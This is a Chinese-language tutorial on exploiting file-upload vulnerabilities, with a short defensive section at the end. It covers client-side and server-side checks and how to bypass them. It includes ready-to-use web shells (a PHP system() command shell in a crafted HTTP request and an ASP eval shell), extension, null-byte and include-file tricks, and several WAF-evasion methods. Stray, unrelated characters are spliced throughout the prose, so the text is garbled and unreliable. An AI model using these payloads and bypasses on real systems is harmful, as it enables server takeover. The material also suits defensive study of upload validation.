文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞涡上,因?yàn)橛盟@得服務(wù)器權(quán)限最快最直接。但是想真正把這個漏洞利用好卻不那么容易拒名,其中有很多技巧吩愧,也有很多需要掌握的知識。俗話說增显,知己知彼方能百戰(zhàn)不殆雁佳,因此想要研究怎么防護(hù)漏洞,就要了解怎么去利用同云。此篇文章主要分三部分:總結(jié)一些常見的上傳文件校驗(yàn)方式糖权,以及繞過校驗(yàn)的各種姿勢,最后對此漏洞提幾點(diǎn)防護(hù)建議炸站。(根據(jù)個人經(jīng)驗(yàn)總結(jié)星澳,歡迎補(bǔ)充糾錯~~)
文件上傳校驗(yàn)姿勢
- 客戶端javascript校驗(yàn)(一般只校驗(yàn)后綴名)
- 服務(wù)端校驗(yàn)
- 文件頭content-type字段校驗(yàn)(image/gif)
- 文件內(nèi)容頭校驗(yàn)(GIF89a)
- 后綴名黑名單校驗(yàn)
- 后綴名白名單校驗(yàn)
- 自定義正則校驗(yàn)
- WAF設(shè)備校驗(yàn)(根據(jù)不同的WAF產(chǎn)品而定)
1.客戶端校驗(yàn)
一般都是在網(wǎng)頁上寫一段javascript腳本,校驗(yàn)上傳文件的后綴名武契,有白名單形式也有黑名單形式募判。
判斷方式:在瀏覽加載文件,但還未點(diǎn)擊上傳按鈕時便彈出對話框咒唆,內(nèi)容如:只允許上傳.jpg/.jpeg/.png后綴名的文件届垫,而此時并沒有發(fā)送數(shù)據(jù)包。
2.服務(wù)端校驗(yàn)
2.1 content-type字段校驗(yàn)
這里以PHP代碼為例全释,模擬web服務(wù)器端的校驗(yàn)代碼
<?php
if($_FILES['userfile']['type'] != "image/gif") #這里對上傳的文件類型進(jìn)行判斷装处,如果不是image/gif類型便返回錯誤。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
可以看到代碼對上傳文件的文件類型進(jìn)行了判斷浸船,如果不是圖片類型妄迁,返回錯誤。
2.2 文件頭校驗(yàn)
可以通過自己寫正則匹配李命,判斷文件頭內(nèi)容是否符合要求登淘,這里舉幾個常見的文件頭對應(yīng)關(guān)系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif封字,”GIF 89A”
(3) .zip黔州,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
文件上傳繞過校驗(yàn)姿勢
- 客戶端繞過(抓包改包)
- 服務(wù)端繞過
- 文件類型
- 文件頭
- 文件后綴名
- 配合文件包含漏洞繞過
- 配合服務(wù)器解析漏洞繞過
- CMS阔籽、編輯器漏洞繞過
- 配合操作系統(tǒng)文件命名規(guī)則繞過
- 配合其他規(guī)則繞過
- WAF繞過
1.客戶端繞過
可以利用burp抓包改包流妻,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可笆制。
2.服務(wù)端繞過
2.1 文件類型繞過
我們可以通過抓包绅这,將content-type字段改為image/gif
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原為 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-
2.2 文件頭繞過
在木馬內(nèi)容基礎(chǔ)上再加了一些文件信息,有點(diǎn)像下面的結(jié)構(gòu)
GIF89a<?php phpinfo(); ?>
2.3 文件后綴名繞過
前提:黑名單校驗(yàn)
黑名單檢測:一般有個專門的 blacklist 文件在辆,里面會包含常見的危險腳本文件证薇。
繞過方法:
(1)找黑名單擴(kuò)展名的漏網(wǎng)之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴(kuò)展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
3.配合文件包含漏洞
前提:校驗(yàn)規(guī)則只校驗(yàn)當(dāng)文件后綴名為asp/php/jsp的文件內(nèi)容是否為木馬度苔。
繞過方式:(這里拿php為例,此漏洞主要存在于PHP中)
(1)先上傳一個內(nèi)容為木馬的txt后綴文件棕叫,因?yàn)楹缶Y名的關(guān)系沒有檢驗(yàn)內(nèi)容林螃;
(2)然后再上傳一個.php的文件奕删,內(nèi)容為<?php Include(“上傳的txt文件路徑”);?>
此時俺泣,這個php文件就會去引用txt文件的內(nèi)容,從而繞過校驗(yàn)完残,下面列舉包含的語法:
#PHP
<?php Include("上傳的txt文件路徑");?>
#ASP
<!--#include file="上傳的txt文件路徑" -->
#JSP
<jsp:inclde page="上傳的txt文件路徑"/>
or
<%@include file="上傳的txt文件路徑"%>
詳細(xì)參考:文件包含漏洞(繞過姿勢)
4.配合服務(wù)器解析漏洞
詳細(xì)可參考:http://thief.one/2016/09/21/服務(wù)器解析漏洞/
5.配合操作系統(tǒng)文件命令規(guī)則
(1)上傳不符合windows文件命名規(guī)則的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::DATA…….
會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容伏钠。
(2)linux下后綴名大小寫
在linux下,如果上傳php不被解析谨设,可以試試上傳pHp后綴的文件名熟掂。
6.CMS、編輯器漏洞
(1)CMS漏洞:比如說JCMS等存在的漏洞扎拣,可以針對不同CMS存在的上傳漏洞進(jìn)行繞過赴肚。
(2)編輯器漏洞:比如FCK,ewebeditor等二蓝,可以針對編輯器的漏洞進(jìn)行繞過誉券。
這兩方面的漏洞以后單獨(dú)成文匯總,這里點(diǎn)到為止刊愚。
7.配合其他規(guī)則
(1)0x00截?cái)啵夯谝粋€組合邏輯漏洞造成的踊跟,通常存在于構(gòu)造上傳文件路徑的時候
test.php(0x00).jpg
test.php%00.jpg
路徑/upload/1.php(0x00),文件名1.jpg鸥诽,結(jié)合/upload/1.php(0x00)/1.jpg
偽代碼演示:
name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 后面為 0x00)
type =gettype(name) //而在 gettype()函數(shù)里處理方式是從后往前掃描擴(kuò)展名商玫,所以判斷為 jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) //但在這里卻是以 0x00 作為文件名截?cái)?//最后以 help.asp 存入路徑里
8.WAF繞過
8.1 垃圾數(shù)據(jù)
有些主機(jī)WAF軟件為了不影響web服務(wù)器的性能,會對校驗(yàn)的用戶數(shù)據(jù)設(shè)置大小上限牡借,比如1M拳昌。此種情況可以構(gòu)造一個大文件,前面1M的內(nèi)容為垃圾內(nèi)容钠龙,后面才是真正的木馬內(nèi)容炬藤,便可以繞過WAF對文件內(nèi)容的校驗(yàn);
當(dāng)然也可以將垃圾數(shù)據(jù)放在數(shù)據(jù)包最開頭俊鱼,這樣便可以繞過對文件名的校驗(yàn)刻像。
可以將垃圾數(shù)據(jù)加上Content-Disposition參數(shù)后面,參數(shù)內(nèi)容過長并闲,可能會導(dǎo)致waf檢測出錯细睡。
8.2 filename
或者將filename換位置帝火,在IIS6.0下如果我們換一種書寫方式溜徙,把filename放在其他地方:
8.3 POST/GET
有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型湃缎,則校驗(yàn)數(shù)據(jù)包內(nèi)容。
此種情況可以上傳一個POST型的數(shù)據(jù)包蠢壹,抓包將POST改為GET嗓违。
8.4 利用waf本身缺陷
刪除實(shí)體里面的Conten-Type字段
第一種是刪除Content整行,第二種是刪除C后面的字符图贸。刪除掉ontent-Type: image/jpeg只留下c蹂季,將.php加c后面即可,但是要注意額疏日,雙引號要跟著c.php偿洁。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構(gòu)造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除Content-Disposition字段里的空格
[圖片上傳失敗...(image-121dc9-1583843945451)]
增加一個空格導(dǎo)致安全狗被繞過案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
嘗試在boundary后面加個空格或者其他可被正常處理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小寫
Boundary邊界不一致
每次文件上傳時的Boundary邊界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在處理的過程中并沒有嚴(yán)格要求一致的話可能會導(dǎo)致一個問題,兩段Boundary不一致使得waf認(rèn)為這段數(shù)據(jù)是無意義的沟优,可是容器并沒有那么嚴(yán)謹(jǐn):
Win2k3 + IIS6.0 + ASP
文件名處回車
多個Content-Disposition
在IIS的環(huán)境下涕滋,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數(shù)挠阁,而如果waf只是取最后一個的話便會被繞過宾肺,Win2k8 + IIS7.0 + PHP
8.5利用NTFS ADS特性
ADS是NTFS磁盤格式的一個特性,用于NTFS交換數(shù)據(jù)流侵俗。在上傳文件時锨用,如果waf對請求正文的filename匹配不當(dāng)?shù)脑捒赡軙?dǎo)致繞過。
其他情況補(bǔ)充
文件重命名繞過
如果web程序會將filename除了擴(kuò)展名的那段重命名的話坡慌,那么還可以構(gòu)造更多的點(diǎn)黔酥、符號等等。
特殊的長文件名繞過
文件名使用非字母數(shù)字洪橘,比如中文等最大程度的拉長跪者,不行的話再結(jié)合一下其他的特性進(jìn)行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反刪除
將下圖file1改成了file4,這樣就不會把這個文件刪除了熄求。(JCMS漏洞)
文件校驗(yàn)的幾點(diǎn)建議
- 文件擴(kuò)展名服務(wù)端白名單校驗(yàn)渣玲。
- 文件內(nèi)容服務(wù)端校驗(yàn)。
- 上傳文件重命名弟晚。
- 隱藏上傳文件路徑忘衍。
以上幾點(diǎn),可以防御絕大多數(shù)上傳漏洞卿城,但是需要跟服務(wù)器容器結(jié)合起來枚钓。如果解析漏洞依然存在,那么沒有絕對的安全瑟押。